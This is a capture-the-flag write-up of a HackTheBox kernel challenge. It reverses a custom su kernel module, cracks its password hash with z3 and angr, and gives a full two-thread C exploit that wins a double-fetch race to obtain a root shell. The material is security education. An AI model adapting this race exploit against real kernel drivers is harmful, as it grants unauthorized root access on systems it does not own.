Kernel Adventures: Part 1
Kernel Adventures: Part 1
Platform: HackTheBox | Category: Pwn | Difficulty: Medium | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
SUID binaries are too vulnerable. So I decided to implement su in the Kernel.
Solution Approach
Core idea: Source code review. Exploiting race condition vuln.
Steps
-
In this challenge we're given the kernel environment setup.
-
Let's extract the Linux file system.
sh read-only • copy allowedcp rootfs.cpio.gz rootfs.cpio.gz.backup gunzip rootfs.cpio.gz sudo cpio -i < rootfs.cpio mv rootfs.cpio.gz.backup rootfs.cpio.gz
- Great! Noticed that our kernel module name is mysu.ko.
- Upon decompiled the binary using ghidra, seems there are only 3 functions to interact with the module.
REVIEWING dav_open()
- Function
dav_open()shall not be our interest here, it just print "opened" once it's called.
REVIEWING dav_read()
- Function
dav_read()reads up to 32 bytes of data from source &users, then copies it to a buffer named param_2. - If the bytes is bigger than 32, it then returns 32. Otherwise, it just returns the number of bytes copied.
REVIEWING dav_write()
-
If you noticed,
dav_write()behavior is set to be similar to write@plt function. -
param2 is our content, param3 is the size of our content, and param1 performed as file descriptor (fd).
-
If the size of our content is less than 8, then it the binary is terminated.
-
Next, it check whether the contents of param2 are equal to a global var named users.
-
Afterwards, the module takes the next bytes of our input data (param2 + 1) and calc the hash. If the hash match to 0x0, then we jumped to label LAB_0010017E. This label uses functio
prepare_credsandcommit_credsto switch user. Our intention is to gained root by passing the 0 to it. -
This is our current privilege.
-
We can further check that by running readelf to mysu.ko and check for the
.datasection.
NOTES:
Every initialized global variable that is not 0, is stored at .DATA_ADDRESS section.
READELF
- Anyway, the vuln is at the condition where it taking again our input data from param2. It could introduce as Race Condition.
- So when the check is passed at the beginning and we jump to label LAB_0010017e, we change our UID to 0 (root). Afterward the module shall perform
commit_creds(prepare_creds(0)). - This type of attack in kernel exploitation is called Double Fetch.
CONCERN
- The only concern for race condition in operating system is due to the absence of Mutual Exclusion (Mutex) or Binary Semaphore.
[MUTEX]
- Is a locking mechanism used to ensure that only one thread
or process can access a resource at a time.
[BINARY SEMAPHORE]
- Is a signaling mechanism that can have only 2 values, 0 and 1.
It is similar to mutex but has differences in usage and behavior.
-
Upon reviewing at the init_module() function, mutex or semaphore both are absence. Hence we could gain Race Condition to change our UID to root.
-
Great! Seems we found the bug now.
-
First, let's get the expected hash to find a valid password. Execute
run.shfile to start the kernel emulation. -
To get the expected hash, run
ddfrom/dev/mysuto extract the users variable we saw before.
dd if=/dev/mysu count=4 | xxd
- Well, if you remembered the notes.txt file at the beginning. It states that the password hashes is removed. But it should not be 0.
- Let's check at the remote server.
REMOTE SERVER
- So the expected hash in hex format is
0x03319f75. - To obtain this hash, we have to use the same hashing function found in the mysu.ko.
The hashing function
- Since the valid password length is 8 bytes, meaning 2 to the power of 68 and very time consuming because the only way to get the valid pass is by bruteforcing it.
- To speed up the process, we can use angr or z3 library in python. But in this writeup I will show the result for using both. Also we need to compile the C hash function so we can validate whether our password is correct.
SCRIPT TO BRUTEFORCE --> using Z3
py read-only • copy allowedfrom pwn import * import os from z3 import * result = 0 target_hash = 0x03319f75 byte_array = [BitVec(f'byte index {i}', 8) for i in range(8)] for byte in byte_array: extended_byte = SignExt(24, byte) intermediate_res = (result + extended_byte) * 0x401 # 1025 result = intermediate_res ^ LShR(intermediate_res, 6) ^ extended_byte ### Create a Z3 solver instance solver = Solver() ### Constraint to solver, that the calc hash must equal to targ hash. solver.add(result == target_hash) ### if constraint is satisfiable if solver.check() == sat: model = solver.model() log.success(f'Correct hash found') # print result print(bytes(model[byte].as_long() for byte in byte_array))
NOTES:
1. Using SignExt because char type in C is signed.
2. Using LShR to perform logical bit-shift.
THE C SOURCE
c read-only • copy allowed#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> unsigned int hash(char *string) { int i; unsigned int uvar1; unsigned int res; res = 0; for (i = 0; i < strlen(string); i++) { uvar1 = (res + string[i]) * 0x401; res = uvar1 ^ uvar1 >> 6 ^ string[i]; } return res; } int main() { char password[8]; scanf("%s", password); getchar(); if (hash(password) == 0x03319f75) { puts("Yes"); } else { puts("Nope"); } return 0; }
WITH ANGR
py read-only • copy allowedfrom pwn import * import os import angr exe = angr.Project('./hash-bin') ### create the initial state of the program (at the entry point) init_state = exe.factory.entry_state() ### create a simulation manager to manage the exploration of states sim_manager = exe.factory.simulation_manager(init_state) ### explore the state space to find a state where "Yes" is printed to fd 1 (stdout) sim_manager.explore(find=lambda state: b'Yes\n' in state.posix.dumps(1)) if sim_manager.found: found_state = sim_manager.found[0] pass_bytes = found_state.posix.dumps(0) # extract input # conver the input bytes to a list of hex strings pass_hex = (hex(byte) for byte in pass_bytes) print(', '.join(pass_hex))
RESULT WITH ANGR
- Nice! Now let's craft our exploit.
- Remembering we're going to abuse a Double Fetch, hence using 2 threads shall required to win the race.
- One thread is used to continuously changing our UID to 0 in our input data.
- The other one is used to continuously changing our UID to 1000 in our input data.
- There should be a moment where, the module checks our UID (at this rate is 1000), then we passed. Afterwards our UID changed to 0 before the module fetch the user input data again to call
commit_creds(prepare_creds()). - Finally. once our UID is changed to 0, we stop all running threads.
EXPLOIT C CODE
c read-only • copy allowed#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> // consist of user UID and calculated hash char user_uid[] = { 0xe8, 0x03, 0x00, 0x00, 0x6e, 0x63, 0x7b, 0x89, 0x00, 0x02, 0x02, 0x08 }; int flag = 0; void *get_root(void *args){ int fd; while(!flag){ user_uid[0] = 0; user_uid[1] = 0; fd = open("/dev/mysu", O_RDWR); // open /dev/mysu with read and write permission write(fd, user_uid, sizeof(user_uid)); close(fd); // checker for root uid. if (getuid() == 0){ flag = 1; system("/bin/sh"); } } } void *get_user(void *args){ int fd; while(!flag){ user_uid[0] = 0xe8; user_uid[1] = 0x03; fd = open("/dev/mysu", O_RDWR); // open /dev/mysu with read and write permission write(fd, user_uid, sizeof(user_uid)); close(fd); // checker for root uid. if (getuid() == 0){ flag = 1; system("/bin/sh"); } } } int main(void){ pthread_t thread_root; pthread_t thread_user; // create 2 threads pthread_create(&thread_root, NULL, get_root, NULL); pthread_create(&thread_user, NULL, get_user, NULL); pthread_join(thread_root, NULL); pthread_join(thread_user, NULL); return 0; }
- Now to send our exploit to the remote server is quite tricky.
- What I did is to gzip our exploit binary first, then grab the base64 encoded.
- Afterwards, decode it at the remote server and unzip it again.
STEPS
1. At our local machine do:
gcc exploit.c -l pthread -o exploit
gzip exploit
base64 exploit
2. At the remote server
[+] Need to move to /tmp, the only dir that is writeable.
cd /tmp
echo "YOUR_BASE64" > /tmp/exploit.gz.b64
base64 -d exploit.gz.b64
gzip -d exploit.gz
chmod +x exploit
./exploit
- We've pwned it!!
Flag
REDACTED
Lessons Learned
- Source code review.
- Exploiting race condition vuln.
- Password Hash Cracking.
- Implement double fetch exploitation.